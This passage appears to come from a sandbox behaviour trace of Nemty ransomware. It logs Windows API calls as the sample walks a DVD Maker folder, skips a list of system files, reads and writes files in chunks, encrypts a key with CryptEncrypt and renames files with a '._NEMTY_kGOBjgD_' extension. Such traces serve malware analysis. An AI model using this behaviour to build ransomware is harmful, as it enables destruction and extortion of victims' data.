dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.394] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.511] CloseHandle (hObject=0xffffffff) returned 0 [0065.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0065.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0065.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0065.512] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="...") returned 1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="windows") returned -1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="rsa") returned -1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="NTDETECT.COM") returned -1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0065.512] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="MSDOS.SYS") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="IO.SYS") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="CONFIG.SYS") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RECYCLER") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="programdata") returned -1 [0065.513] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="appdata") returned -1 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0065.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0065.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0065.514] Sleep (dwMilliseconds=0x5) [0065.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdab2d3b0, dwHighDateTime=0x1d561e7)) [0065.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdab2d3b0, dwHighDateTime=0x1d561e7)) [0065.518] GetLastError () returned 0x5 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.518] GetLastError () returned 0x5 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.518] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0065.518] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="5EsTuW3/ITOAvP0NMfgz5/EgY9R+LyHsssW5bGC/dHihpYUoLdFWPFC4CbxX7O6+\r\nRJgNhKcMwpJOpHYQbKd2Dnh1LfVeYypOp5yxmVwfJWvhwqa93Qnv5ohEaciA9cT0\r\nEgpZ7p8QyeEIAZPZx/SaOrlRssHbrYv9tJv+QxlC6gH52tLhCA6Ter17jEFJQbAA\r\n262Dw7W1dxyKfbCtSmYKTSh/uX4hurSc97cKTMBjx3KcoJIoVoLRNv0CeBRl1MU5\r\neOymh1fRzKSIRrJqdjMgrMBW8vHiczyO/GAkVLc3ioeeD9avCN4kk9D8B8PjjHuX\r\n3307hkn+uQxkDe6YUYYpsQ==\r\n", pcchString=0x653e91c) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0065.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0065.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.518] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.519] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.548] SetFilePointer (in: hFile=0xffffffff, 